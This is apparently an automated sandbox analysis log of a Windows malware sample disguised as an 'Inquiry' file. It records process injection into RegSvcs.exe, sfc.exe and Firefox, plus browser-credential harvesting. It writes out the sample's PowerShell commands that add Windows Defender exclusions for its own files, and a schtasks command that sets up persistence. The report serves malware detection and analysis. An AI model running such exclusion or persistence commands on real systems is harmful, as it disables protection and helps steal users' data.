Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtReadVirtualMemory: Direct from: 0x77542E8C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtCreateKey: Direct from: 0x77542C6C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtSetInformationThread: Direct from: 0x77542B4C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtQueryAttributesFile: Direct from: 0x77542E6C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtAllocateVirtualMemory: Direct from: 0x77543C9C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtCreateUserProcess: Direct from: 0x7754371C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtQueryInformationProcess: Direct from: 0x77542C26
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtResumeThread: Direct from: 0x77542FBC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtWriteVirtualMemory: Direct from: 0x7754490C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtDelayExecution: Direct from: 0x77542DDC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtAllocateVirtualMemory: Direct from: 0x77542BFC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtReadFile: Direct from: 0x77542ADC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtQuerySystemInformation: Direct from: 0x77542DFC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtResumeThread: Direct from: 0x775436AC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtNotifyChangeKey: Direct from: 0x77543C2C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtCreateMutant: Direct from: 0x775435CC
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtWriteVirtualMemory: Direct from: 0x77542E3C
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	NtMapViewOfSection: Direct from: 0x77542D1C

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Windows\SysWOW64\sfc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: NULL target: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: NULL target: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe protection: read write
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: NULL target: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: NULL target: C:\Windows\SysWOW64\sfc.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\sfc.exe

Thread register set: target process: 7228

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\sfc.exe

Thread APC queued: target process: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: DC3008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 904008	Jump to behavior

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fuqwoDzun.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp2C94.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp40A9.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"

Source: TsdBVAGjsKVoi.exe, 00000010.00000002.3787501024.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000000.1569221895.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000000.1710445317.0000000000F81000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: TsdBVAGjsKVoi.exe, 00000010.00000002.3787501024.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000000.1569221895.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000000.1710445317.0000000000F81000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: TsdBVAGjsKVoi.exe, 00000010.00000002.3787501024.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000000.1569221895.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000000.1710445317.0000000000F81000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: TsdBVAGjsKVoi.exe, 00000010.00000002.3787501024.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000010.00000000.1569221895.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, TsdBVAGjsKVoi.exe, 00000012.00000000.1710445317.0000000000F81000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Queries volume information: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Queries volume information: C:\Users\user\AppData\Roaming\fuqwoDzun.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
